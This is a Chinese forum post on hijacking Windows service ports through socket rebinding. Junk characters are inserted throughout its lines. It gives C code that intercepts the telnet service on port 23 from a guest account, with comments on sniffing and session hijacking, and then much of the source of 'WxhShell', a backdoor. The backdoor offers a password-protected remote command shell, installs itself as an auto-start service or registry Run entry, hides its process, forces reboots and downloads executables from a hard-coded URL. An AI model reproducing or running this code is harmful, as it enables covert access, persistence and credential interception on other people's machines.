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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4w ,&#L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }hg=#*  
myX&Z F_9  
  saddr.sin_family = AF_INET; Q >[>{N&\  
KO8{eT9d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); co8R-AB  
P!f0&W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SzB<PP2  
'J} ?'{.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0 `7y Pq*  
C=o-3w  
  这意味着什么?意味着可以进行如下的攻击: ,i}EGW,9q  
)-5eIy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )-[$m%  
WZ6{9/%:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JW0\y+o~  
q7KHx b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c]x-mj =  
L:Rg3eo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kJuG haO  
CtN\-E-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 wg)Bx#>\L:  
7Ji'7$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )C?H m^ #  
a+lNXlh=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %$zak@3%'  
;5X~"#%U_  
  #include ({Md({|  
  #include \jk* Nm8;  
  #include _ s}aF  
  #include    NbU4|O i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )=}qAVO8  
  int main() &aIFtlC  
  { aE)1LP  
  WORD wVersionRequested; `)8~/G%  
  DWORD ret; _GxC|d  
  WSADATA wsaData; f9#srIx+  
  BOOL val; {'+{ASpO!  
  SOCKADDR_IN saddr; AP>n-Z|  
  SOCKADDR_IN scaddr; V*rLGY#  
  int err; ,}W|cm>  
  SOCKET s; (kO(R#M  
  SOCKET sc; o?/H<k\5  
  int caddsize; {jYVA~.|Z  
  HANDLE mt; B<BS^waU  
  DWORD tid;   ^g(qP tQ  
  wVersionRequested = MAKEWORD( 2, 2 ); \='LR!_  
  err = WSAStartup( wVersionRequested, &wsaData );  D~"a"  
  if ( err != 0 ) { >F7HKwg}Z  
  printf("error!WSAStartup failed!\n"); YJ ,"@n_  
  return -1; 0/] h"5H3  
  } QlB9m2XB  
  saddr.sin_family = AF_INET; )=gU~UV  
   *ilVkV"U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,S d j"C  
*ezMS   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $}b)EMMM  
  saddr.sin_port = htons(23); Xe&9| M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y-H9fWi8Y&  
  { HFjSM~  
  printf("error!socket failed!\n"); ,OwTi:yDr  
  return -1; z0\ $# r^I  
  } *A48shfO  
  val = TRUE; AEj%8jh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qY%|Uo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s% R,]q  
  { M1/(Xla3  
  printf("error!setsockopt failed!\n"); 'C7R* P  
  return -1; q90RTX'CY  
  } xC9?rLUZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O{ 3X`xAf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uHacu<$=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J?#vL\8  
7wWx8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5V(#nz  
  { LFi{Q{E)  
  ret=GetLastError(); <f:(nGj  
  printf("error!bind failed!\n"); 3r[F1z2B  
  return -1; V[%IU'{:  
  } ,<P"\W  
  listen(s,2); yph@H!@  
  while(1) <<cezSm  
  { `Mg3P_}=  
  caddsize = sizeof(scaddr); l v:GiA"X  
  //接受连接请求 'z}9BGR !  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  ZaaBg  
  if(sc!=INVALID_SOCKET) }sqFvab<  
  { /,~]1&?}1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B+Qo{-  
  if(mt==NULL) !.#g   
  { ]vR Ol.  
  printf("Thread Creat Failed!\n"); `2+TN  
  break; 32 j){[PL3  
  } U:7w8$_  
  } `x?_yogPM  
  CloseHandle(mt); eV(.\Lj  
  } ,ko#z}Z4r,  
  closesocket(s); X)j%v\#`U  
  WSACleanup(); *B@#A4f"  
  return 0; ]b;a~Y0  
  }   QhTn9S:D  
  DWORD WINAPI ClientThread(LPVOID lpParam) t5b c Q@Y  
  { 5ad@}7&  
  SOCKET ss = (SOCKET)lpParam; _-{=Z=?6}  
  SOCKET sc; *uK!w(;2  
  unsigned char buf[4096]; i4>M  
  SOCKADDR_IN saddr; DU,B  
  long num; WRbdv{ 1E  
  DWORD val; p"6[S  
  DWORD ret; v0\M$@N[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E*T6kp^b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DsxNg  
  saddr.sin_family = AF_INET; |*ZM{$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .#tA .%  
  saddr.sin_port = htons(23); !a V:T&6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N@Ap|`Ei  
  { $aT '~|?  
  printf("error!socket failed!\n"); & \5Ur^t  
  return -1; u&={hJ&7  
  } >_]Ov:5  
  val = 100; PmsZ=FY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1xkk5\3]  
  { ;mD!8<~z.  
  ret = GetLastError(); KU/QEeqbrp  
  return -1; P^Og(F8;  
  } %sZ3Gpi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8N j}  
  { Y/m-EL  
  ret = GetLastError(); )iIsnM  
  return -1; suaP'0  
  } vP'!&}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) s^)(.e_  
  { 4\V/A+<W  
  printf("error!socket connect failed!\n"); Oi C|~8  
  closesocket(sc); peS4<MqWu  
  closesocket(ss); T$FKn  
  return -1; 753gcY#i  
  } .3XSF$;  
  while(1) aRn""3[  
  { t=:5?}J.Q$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $b^niL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]I/* J^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  iSX:H;  
  num = recv(ss,buf,4096,0); XF3lS#pt  
  if(num>0) tycVcr \(  
  send(sc,buf,num,0); r4 5}o  
  else if(num==0) !p36OEx  
  break; h;(mb2[R  
  num = recv(sc,buf,4096,0); lt5Knz2G,Z  
  if(num>0) $mq+/|bn  
  send(ss,buf,num,0); 3-;<G  
  else if(num==0) SFP?ND+7  
  break; . Z9c.E{  
  } $i3`cX)g  
  closesocket(ss); GX.a!XQ@!  
  closesocket(sc); (Cti,g~  
  return 0 ; meap;p  
  } S n~P1C  
~S :8M<aB  
u  XZ;K.  
========================================================== 8 f~M6  
:c}PW"0v  
下边附上一个代码,,WXhSHELL h6`VU`pPI  
\Yv4 4*I`  
========================================================== mH<|.7~0  
Yu[MNX ;G  
#include "stdafx.h" :$X dR:f}}  
K`|V1L.m  
#include <stdio.h> ND e FY  
#include <string.h> 97>|eDc Y  
#include <windows.h> XTb .cqOC  
#include <winsock2.h> >)>~S_u  
#include <winsvc.h> a9 S&n5  
#include <urlmon.h> i3(5 '  
Z]Z&PbP  
#pragma comment (lib, "Ws2_32.lib") `i~J0#P  
#pragma comment (lib, "urlmon.lib") "yU<X\n i  
 )iPU   
#define MAX_USER   100 // 最大客户端连接数 U~zy;M T  
#define BUF_SOCK   200 // sock buffer ja{x}n*5  
#define KEY_BUFF   255 // 输入 buffer }Vm'0  
ZWB3R  
#define REBOOT     0   // 重启 8_rd1:t5  
#define SHUTDOWN   1   // 关机 eq2L V=d{m  
.o<9[d"  
#define DEF_PORT   5000 // 监听端口 p[!9objU  
YAi@EvzCVy  
#define REG_LEN     16   // 注册表键长度 JV2[jo}0 N  
#define SVC_LEN     80   // NT服务名长度 PI *Z>VE?  
s9u7zqCF  
// 从dll定义API (r<F@)J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); & )-fC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !.q#X^@>L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wv%UsfD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ph ~#{B(\  
^zG!Z:E  
// wxhshell配置信息 IMy!8$\u  
struct WSCFG { m[N&UM#  
  int ws_port;         // 监听端口 q.ppYXJUXi  
  char ws_passstr[REG_LEN]; // 口令 `+Mva  
  int ws_autoins;       // 安装标记, 1=yes 0=no !83 N#Y_Mz  
  char ws_regname[REG_LEN]; // 注册表键名 etb#/L  
  char ws_svcname[REG_LEN]; // 服务名 ' #t1e]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yS#D$q2_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5RSP.Vyx{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z3fU|*_c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TPZ^hL>ao  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4]cr1K ^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7Z81+I|&8  
G1,u{d-_  
}; J,`I>^G  
0|rdI,z  
// default Wxhshell configuration IPY[x|  
struct WSCFG wscfg={DEF_PORT, q6 4bP4K  
    "xuhuanlingzhe", <z wI@i  
    1,  <j_  
    "Wxhshell", gX5.u9%C\  
    "Wxhshell", # o\&G@e}  
            "WxhShell Service", bU4\Yu   
    "Wrsky Windows CmdShell Service", 0}Q d  
    "Please Input Your Password: ", o107. s  
  1, $fW8S8  
  "http://www.wrsky.com/wxhshell.exe", g*%o%Lv  
  "Wxhshell.exe" QP6a,^];  
    }; f(-3d*g  
d\ Xijy  
// 消息定义模块 O;#0Yg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "[ >ql1t{b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Op iVQr:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lYrW"(2  
char *msg_ws_ext="\n\rExit.";  ixF  
char *msg_ws_end="\n\rQuit."; UzkX;UA  
char *msg_ws_boot="\n\rReboot..."; l_ &T)Ei  
char *msg_ws_poff="\n\rShutdown..."; xl@  
char *msg_ws_down="\n\rSave to "; &!8u4*K5j  
<QK2Wc_}-"  
char *msg_ws_err="\n\rErr!"; 4e|(= W`  
char *msg_ws_ok="\n\rOK!"; w 1O)  
yjChnp Cc  
char ExeFile[MAX_PATH]; zhACNz4tJ  
int nUser = 0; m8v=pab e  
HANDLE handles[MAX_USER]; :\#/T,K"  
int OsIsNt; )-LS n  
ZV:0:k.x  
SERVICE_STATUS       serviceStatus; 9q<?xO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pH.&OW%  
/gLi(Uw  
// 函数声明 Zu^J X/um  
int Install(void); $Mqw)X&q  
int Uninstall(void); ARid   
int DownloadFile(char *sURL, SOCKET wsh); "Ze<dB#,Y  
int Boot(int flag); [PU0!W;  
void HideProc(void); !~f!O"n)3r  
int GetOsVer(void); #_fL[j&  
int Wxhshell(SOCKET wsl); ?OWJUmQ  
void TalkWithClient(void *cs); TSP#.QY  
int CmdShell(SOCKET sock); ey[+"6Awne  
int StartFromService(void); d ?OsVT; U  
int StartWxhshell(LPSTR lpCmdLine); -<n]Sv;V  
h&t9CpTfeJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y/n],(t)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '$be+Z32  
ljO t~@Ea  
// 数据结构和表定义 d-$/C| J  
SERVICE_TABLE_ENTRY DispatchTable[] = ->U9u lTC  
{ :]IY w!_-p  
{wscfg.ws_svcname, NTServiceMain}, \&X*-T[]j  
{NULL, NULL} E#+|.0*!s  
}; !bIhw}^C*  
r(/+- t  
// 自我安装 Lc13PTz>>g  
int Install(void) oyo V1jO  
{ k /lDE  
  char svExeFile[MAX_PATH]; UxVxnJ_  
  HKEY key; 4VfZw\^  
  strcpy(svExeFile,ExeFile); 25jgM!QBXF  
l=t$ XWh!  
// 如果是win9x系统,修改注册表设为自启动 q{oppali  
if(!OsIsNt) { \MFjb IL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W&0KO-}ot  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !5[5l!{x  
  RegCloseKey(key); o51jw(wO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EEO)b_(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U>kL|X3 V  
  RegCloseKey(key); <>6DPHg~  
  return 0; 6J%yo[A(w  
    } [>U =P`  
  } NYp46;  
} zvnR'\A_  
else { .uu[MzMIu  
*Nh[T-y(s  
// 如果是NT以上系统,安装为系统服务 -85W/%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xsdi\ j;n>  
if (schSCManager!=0) '#@tovr  
{ qFYM2  
  SC_HANDLE schService = CreateService H~r":A'"*  
  ( Lkl ^ `  
  schSCManager, $23dcC*hI  
  wscfg.ws_svcname, $|bdeQPr\  
  wscfg.ws_svcdisp, &>%9JXU  
  SERVICE_ALL_ACCESS, xc6A&b>jI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5\eM3w'd  
  SERVICE_AUTO_START, 6'1m3<G_  
  SERVICE_ERROR_NORMAL, XhG3Of-6  
  svExeFile, O;?Nz:/q  
  NULL, uu+)r  
  NULL, %.VFj7J  
  NULL, T:(c/ >  
  NULL, whvvc2  
  NULL '?MT " G  
  ); $:SSm $k  
  if (schService!=0) El#"vIg(\  
  { 3Ja1|;(2  
  CloseServiceHandle(schService); rc+}KO  
  CloseServiceHandle(schSCManager); -yP_S~ \n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %T'<vw0  
  strcat(svExeFile,wscfg.ws_svcname); hTVA^j(w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r;c ILS|Xr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 79O'S du@  
  RegCloseKey(key); E+e:UBeUV  
  return 0; _Kf8,|+  
    } e.jbFSnA  
  } V+&C_PyC  
  CloseServiceHandle(schSCManager); mJL=H  
} |QB[f*y5  
} .7|Iausv  
%uy5la  
return 1; C4^o= 6{  
} 6#DDMP8;I  
8rY[Q(]  
// 自我卸载 {<1 ]cP  
int Uninstall(void) y$C\b\hM  
{ $|%BaEyk  
  HKEY key; >qC,IQ'  
r`GA5 }M  
if(!OsIsNt) { Th>ff)~ e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G"|`&r@  
  RegDeleteValue(key,wscfg.ws_regname); lLi)?  
  RegCloseKey(key); K)[DA*W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %{HeXe  
  RegDeleteValue(key,wscfg.ws_regname); K]c\3[vR  
  RegCloseKey(key); 8*Ke;X~N  
  return 0; dcbE<W#ss  
  } &Y3 r'"  
} 5Gw B1}q  
} pa8R;A70Dl  
else { aT"0tn^LO  
^(on"3sG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !b4v}70,  
if (schSCManager!=0) ~duF2m 72  
{ -h8@B+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y0_z_S#gO  
  if (schService!=0) r!e:sJAB.  
  { WCUaXvw  
  if(DeleteService(schService)!=0) { xfK@tLEZ-1  
  CloseServiceHandle(schService); ptMDhMVW  
  CloseServiceHandle(schSCManager); e-Ma8+X\  
  return 0; I)wc&>Lc  
  } BH\!yxK  
  CloseServiceHandle(schService); _-5|"oJ  
  } ]CxD m  
  CloseServiceHandle(schSCManager); -fCR^`UOS  
} "cDMFu  
} 5e}adHjM  
9mRP%c#(  
return 1; KI Xp+Z  
} ]wm<$+@  
!\Vc#dslt  
// 从指定url下载文件 &\ $~  
int DownloadFile(char *sURL, SOCKET wsh) )wyC8`&-  
{ -"uOh,G}  
  HRESULT hr; *r(Qy0(  
char seps[]= "/"; {U"=}j(  
char *token; d`9ofw~3=  
char *file; z,xGjS P  
char myURL[MAX_PATH]; :Fh#"<A&&  
char myFILE[MAX_PATH]; l#bE_PD;  
BHNEP |=  
strcpy(myURL,sURL); MmQ"z_v  
  token=strtok(myURL,seps); 7 F> a&r  
  while(token!=NULL) K;j0cxl  
  { 45A|KaVpg  
    file=token; gJBw6'Z  
  token=strtok(NULL,seps); v+(-\T\i  
  } pPsT,i?  
I_\?wSNGM  
GetCurrentDirectory(MAX_PATH,myFILE); =M9;`EmC  
strcat(myFILE, "\\"); TY;%nT  
strcat(myFILE, file); 7 >-(g+NF!  
  send(wsh,myFILE,strlen(myFILE),0); W:8pmI  
send(wsh,"...",3,0); Kw=][}d`D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )}lO%B'K  
  if(hr==S_OK) u5N&Wn{  
return 0; pc2;2^U_  
else %sCG}? y  
return 1; sWv!ig_  
ke b.%cb=  
} 9 iV_  
t$z 5m<8  
// 系统电源模块 o@sL/5,  
int Boot(int flag) V@o#" gZ  
{ {5 Sy=Y  
  HANDLE hToken; fUq:`#Q  
  TOKEN_PRIVILEGES tkp; J_7#UjGA,  
/tj_WO_  
  if(OsIsNt) { 7sq15oL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Nn'G{8OG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %>- ?oor  
    tkp.PrivilegeCount = 1; =z zmz7op  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EGVS8YP>h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LK+67Y{25  
if(flag==REBOOT) { @{{6Nd5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >S>B tR l  
  return 0; tUi@'%>=5  
} XaF;IS@A  
else { moRo>bvN~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?7uK:'8  
  return 0; x %W%  
} X`28?  
  } Yk0/f|>O  
  else { +CN!3(r  
if(flag==REBOOT) { ~9Qd83`UH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M>d^.n  
  return 0; 6TDa#k5v  
} _B0C]u3D  
else { 'x6rU"e$J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x>tsI}C  
  return 0; SP"t2LTP  
} *Hz]<b?  
} fd$nAE  
@MP;/o+  
return 1; *k@D4F ruP  
} QB3er]y0%  
dU-nE5  
// win9x进程隐藏模块 HCT+.n6  
void HideProc(void) |$g} &P8;  
{ *!pn6OJ"Q}  
OwPXQ 3S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  De2$:?  
  if ( hKernel != NULL ) w=FU:q/  
  { ^l<!:SS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G > t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WO6R04+WV  
    FreeLibrary(hKernel); qM<CBcON  
  } m 48Ab`  
{YG qa$+\  
return; p'A43  
} wLzV#8>  
VTwQD"oB  
// 获取操作系统版本 !j%u wje\  
int GetOsVer(void) U/-k'6=M  
{ />wE[`  
  OSVERSIONINFO winfo; gC(@]%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2 fg P  
  GetVersionEx(&winfo); p-xG&CU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +8Y|kC{9"  
  return 1; g7{:F\S  
  else GI@;76Qf  
  return 0; C3'?E<F  
} izzX$O[=:  
Tgl >  
// 客户端句柄模块 PS8^=  
int Wxhshell(SOCKET wsl) AH-BZ8  
{ U>sEFzBup  
  SOCKET wsh; eD8e0 D'S  
  struct sockaddr_in client; gVrfZ&XF84  
  DWORD myID; !hjF"Pa  
KciN"g|X  
  while(nUser<MAX_USER) Ckc5;:b&m  
{ kj6H+@ {  
  int nSize=sizeof(client); #lO ^PK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [=",R&uD$  
  if(wsh==INVALID_SOCKET) return 1; A/{!w"G  
p[ &b@U#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oJQ \?~  
if(handles[nUser]==0) z;MPp#Y  
  closesocket(wsh); D8{ ,}@  
else U }AIOtUw  
  nUser++; ?L0|$#Iw  
  } X`J86G)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B*t1Y<>x  
|AT`(71  
  return 0; )x~ /qHt  
} %w?C)$Kn\  
WZTAXOw  
// 关闭 socket GS7'pTsYH  
void CloseIt(SOCKET wsh)  56MY@  
{ YrYmPSb=  
closesocket(wsh); 7dv!  
nUser--; 3 NFo=Z8  
ExitThread(0); y` {|D*  
} bDm7$ (  
s4QCun~m  
// 客户端请求句柄 )%PMDG|  
void TalkWithClient(void *cs) {pA&Q{ ^  
{ mi.,Z`]o  
kBxEp/y  
  SOCKET wsh=(SOCKET)cs; W 1u!&:O  
  char pwd[SVC_LEN]; w!z* ?k=Da  
  char cmd[KEY_BUFF]; X%iJPJLza  
char chr[1]; R1/c@HQw?  
int i,j; =XK}eQ_d  
| KY-kRN7  
  while (nUser < MAX_USER) { <LzxnTx=  
V%z?wDC  
if(wscfg.ws_passstr) { K|l}+:k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *[m:4\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y/:%S2za>  
  //ZeroMemory(pwd,KEY_BUFF); d!4TwpIgx  
      i=0; G&@d J &B  
  while(i<SVC_LEN) { QBGjH^kL  
I~^Xw7  
  // 设置超时 ~y?Nn8+&f  
  fd_set FdRead; $VB dd~f  
  struct timeval TimeOut; cGR)$:  
  FD_ZERO(&FdRead); #C~ </R%  
  FD_SET(wsh,&FdRead); c*]f#yr?  
  TimeOut.tv_sec=8; gcB hEw  
  TimeOut.tv_usec=0; ^b|I^TN0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =<7z :]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2W`WOBz  
Xs# _AX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JWYe~  
  pwd=chr[0]; cy)-Rfg  
  if(chr[0]==0xd || chr[0]==0xa) { 6yO5{._M  
  pwd=0; ~( 0bqt3c  
  break; u{h67N  
  } znSlSQpTv  
  i++; I$p1^8~L  
    } <QO1Yg7}  
0kNKt(_  
  // 如果是非法用户,关闭 socket D4C:%D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7qZC+x6_L  
} d7mn(= &  
}2;iIw`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <:NahxIlu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B-$?5Ft!  
%l14K_  
while(1) { +2}cR66%  
[ZC\8tP`V  
  ZeroMemory(cmd,KEY_BUFF); 93:oXyFjD  
97$Q?a8S@  
      // 自动支持客户端 telnet标准   #/jug[wf*!  
  j=0; X d o\DQn  
  while(j<KEY_BUFF) { ?Z_T3/ f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kh[l};/F  
  cmd[j]=chr[0]; ~, E }^  
  if(chr[0]==0xa || chr[0]==0xd) { l U8pX$  
  cmd[j]=0; LMx/0  
  break; $v[mIR  
  } S89j:KRXH%  
  j++; 3 o$zT9j  
    } vd(S&&]o1  
_p5#`-%mM  
  // 下载文件 5S2 j5M00  
  if(strstr(cmd,"http://")) { ]z5hTY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~*"ZF-c,  
  if(DownloadFile(cmd,wsh)) zi3v, Kq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iETUBZ  
  else ~[dL:=?c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }A,!|m4  
  } KvEv0L<ky  
  else { 7s3=Fa:9Q  
c"-X: m"  
    switch(cmd[0]) { XzSl"UPYH  
  L+p}%!g  
  // 帮助 Q{?\qCrrYl  
  case '?': { `e~i<Pi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [@5cYeW3.  
    break; ZS wuEX  
  } {9-9!jN{"  
  // 安装 y<w_>O  
  case 'i': { VFx[{Hy  
    if(Install()) yYYP;N?g4k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ib#rT{e  
    else KXDnhV f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0%%U7GFB5  
    break; nW"O+s3  
    } VevG 64o  
  // 卸载 w8R7Ksn(  
  case 'r': { 2T)k-3  
    if(Uninstall()) C?>d$G8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~qM;l\i  
    else cu foP&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y< j7iN  
    break; wK7w[Xt  
    } m$^5{qpg  
  // 显示 wxhshell 所在路径 y0(.6HI  
  case 'p': { A{J?I:  
    char svExeFile[MAX_PATH]; ^)Awjj9  
    strcpy(svExeFile,"\n\r"); =X^a  
      strcat(svExeFile,ExeFile); _u^3uzu  
        send(wsh,svExeFile,strlen(svExeFile),0); |h 6!bt!=  
    break; vA!IcDP"  
    } D (8Z90  
  // 重启 4'*-[TKC  
  case 'b': { 3<+ZA-2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *]NfT}}  
    if(Boot(REBOOT)) fdX|t "oz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ][tR=Y#&y5  
    else { B>>_t2IU  
    closesocket(wsh); `|>]P"9yp  
    ExitThread(0); Hzm_o>^KC  
    } Uq_lT,  
    break; cZ|NGkZ  
    } ga/zt-&  
  // 关机 Zv!XNc!"$y  
  case 'd': { ;`LG WT-<F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,$ /Ld76U  
    if(Boot(SHUTDOWN)) 5I1YB+$}e  
